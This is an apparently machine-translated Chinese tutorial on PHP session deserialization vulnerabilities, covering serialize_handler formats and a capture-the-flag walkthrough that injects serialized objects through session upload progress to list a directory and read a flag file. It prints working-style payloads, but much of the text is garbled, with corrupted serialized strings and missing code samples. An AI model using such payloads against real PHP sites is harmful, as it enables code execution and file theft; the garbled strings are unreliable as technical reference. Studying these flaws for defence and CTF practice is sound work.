Shulou(Shulou.com)05/31 Report--

This article mainly explains the "session deserialization vulnerability analysis of PHP". The content of the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "PHP session deserialization vulnerability analysis".

PHP session deserialization vulnerability

PHP session deserialization vulnerability is caused by session deserialization vulnerability when the way of serialization storing Session data is different from that of deserialization reading Session data.

What is session?

Official Session definition: in computers, especially in network applications, it is called "session control". The Session object stores the properties and configuration information required for a specific user session. The main characteristics are as follows:

The location where session is saved is on the server side

Session is usually used with cookie

Because of the statelessness of HTTP, the server generates session to identify the current user status.

In essence, session is a data storage technology that can maintain the server side. That is, * * session technology is a temporary data storage technology based on the back-end which is different from the database * *

PHP session workflow

Take PHP as an example to understand the principle of session

When the PHP script starts a session session with session_start (), it automatically detects PHPSESSID

If it exists in Cookie, get PHPSESSID

If it does not exist in Cookie, create a PHPSESSID and save it to the browser as Cookie through the response header

Initialize the superglobal variable $_ SESSION to an empty array

PHP uses PHPSESSID to specify the location (where the PHPSESSID file is stored) to match the corresponding file.

The file exists: read the contents of the file (by deserialization) and store the data in $_ SESSION

The file does not exist: session_start () creates a PHPSESSID named file

At the end of the program execution, serialize and store all the data saved in $_ SESSION to the file corresponding to PHPSESSID.

Specific schematic diagram:

Php.ini session configuration

There are important session configuration items in php.ini

Session.save_path= "/ tmp"-- sets the storage location of session files session.save_handler=files-- sets the user-defined storage function, which can be used if you want to use something other than PHP's built-in session storage mechanism, session.auto_start= 0-- specifies whether the session module starts a session at the beginning of the request. The default is 0. Do not start session.serialize_handler= php-define the processor name used for serialization / deserialization, use php session.upload_progress.enabled= On by default-enable upload progress tracking and fill in the $_ SESSION variable, enable session.upload_progress.cleanup= oN by default-clean up progress information immediately after reading all POST data (that is, upload is complete), and enable PHP session serialization mechanism by default

Based on the configuration items in php.ini, we examine the serialization and storage of all the data saved in $_ SESSION into the file corresponding to PHPSESSID, using three different processing formats, namely, the three engines defined by session.serialize_handler:

Processor corresponding storage format php key name + vertical bar + serialize () function reverse sequence processing value php_binary key name corresponding to the length of ASCII character + key name + serialize () function reverse sequence processing value php_serialize (php > = 5.5.4) array php processor processed by serialize () function

First, let's take a look at the serialization result when the default session.serialize_handler = php. The code is as follows

For ease of viewing, set the session storage directory to session.save_path = "/ www/php_session", and the PHPSESSID file is as follows

1. File name

The file name is sess_mpnnbont606f50eb178na451od, where mpnnbont606f50eb178na451od is the value of the PHPSESSID carried by the Cookie in the subsequent request header (as shown in the browser above)

2. File content

Php processor storage format

Key name vertical bar: the value of $_ SESSION ['name'] that has been inversely processed by the serialize () function. Key name: name | Spur6: "harden"; php_binary processor

Use the php_binary processor, that is, session.serialize_handler = php_binary

Since the name of the PHPSESSID file is the same in all three ways, you only need to look at the contents of the file

The value of the ASCII character key name corresponding to the length of the key name that is inversely processed by the serialize () function. $namenamenamenamenamenamenamenamenames:6: "harden"; php_serialize processor

Use the php_binary processor, that is, session.serialize_handler = php_serialize

The contents of the file are the array processed in reverse sequence by the serialize () function, aRom 1: {SRAV 4: "name"; SRAR 6: "harden";}

Deserialization vulnerability Exploitation of session

The deserialization vulnerability of session is caused by the difference in storage format between php processor and php_serialize processor. Let's take a look at the cause of the vulnerability through the specific code.

Causes of loopholes

First create a session.php and use the php_serialize processor to store session data

Test.php, using the default php processor to store session data

Next, we build URL to access session.php:

Http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

Open the PHPSESSID file to see the contents of the serialized store

ARV 1: {session 7: "session"; 45: "| ORV 4:" f4ke ": 1: {SRV 4:" name "; SER 10:" phpinfo (); ";}

Vulnerability analysis:

In the execution of the session.php program, we will serialize and save it to a PHPSESSID file via php_serialize processor: session.php 4: "f4ke": 1: {Sv4: "name"; Sv10: "phpinfo ();"

Since the name of the PHPSESSID file saved in the browser remains the same, when we visit test.php,session_start (); find the PHPSESSID file and use the php processor to deserialize the contents of the file, identifying the format that is

The value of the key-name vertical bar processed in reverse sequence by the serialize () function: aV1: {SRAV 7: "session"; SRV 45: "| ORV 4:" f4ke ": 1: {SRAR 4:" name "; SER 10:" phpinfo (); ";}

The php processor uses | as the delimiter to phpinfo 4: "f4ke": 1: {php 4: "name"; Sv10: "phpinfo ();";} deserialization, and triggers the _ _ wakeup () method. Finally, the object destroys and executes the eval () function in the _ _ destruct () method, which is equivalent to executing the following:

$_ SESSION ['session'] = new f4ke (); $_ SESSION [' session']-> name = 'phpinfo ();'

When we visit test.php, we can directly execute the phpinfo () function

CTF example: PHPINFO

We can see ini_set ('session.serialize_handler',' php') to determine that there may be a session deserialization vulnerability. According to the code logic, accessing the URL plus the phpinfo parameter to create a new object triggers the magic method to execute the phpinfo () function to further check the session.serialize_handler configuration.

Session.serialize_handler = php_serialize can be seen in php.ini, and session.serialize_handler = php is set in the current directory, so there are conditions for session deserialization to be utilized

Supplementary knowledge

In the phpinfo file

Local value (local variable: acting on the current directory program, will overwrite the master value content): phpmaster value (main variable: the contents of php.ini): php_serialize

So how do we find the code entry to write the code to the session file? If we want to write to the session file, we have to find a way to add our controllable input point to the $_ SESSION variable

Supplementary knowledge

When the feature of checking the progress of Session upload is enabled, we can write a file upload function on the client side. When the file is uploaded, POST a variable PHP_SESSION_UPLOAD_PROGRESS with the same name as the session.upload_progress.name set in php.ini. As shown in the figure below, you can write $_ SESSION, and then serialize and write to the session file.

Here is an official example of monitoring progress when uploading a file:

/ / OowoO 5: "OowoO": 1: {SRAV 4: "mdzz"; Srig 36: "print_r (scandir (dirname (_ _ FILE__);";}

To prevent "from being escaped, we add\" to the payload.

Select files at will, click on the form submission, and use the package crawling tool burpsuite to grab the request package.

And change the filename value to

| | OowoO 5:\ "OowoO\": 1: {Svud4:\ "mdzz\"; SRAV 36:\ "print_r (scandir (dirname (_ _ FILE__);\";}

Send request packet, code execution process analysis:

So execute print_r (scandir (dirname (_ _ FILE__)) directly; and return

Phpinfo to view the current directory, / opt/lampp/htdocs/

Construct the final payload to read the contents of the Here_1s_7he_fl4g_buT_You_Cannot_see.php file, namely flag

| | OowoO 5:\ "opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\": 1: {SRV 4:\ "mdzz\"; SARV 88:\ "print_r (file_get_contents (\" / opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\ "));\";} |

Thank you for reading, the above is the content of "PHP's session deserialization vulnerability analysis". After the study of this article, I believe you have a deeper understanding of PHP's session deserialization vulnerability analysis, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.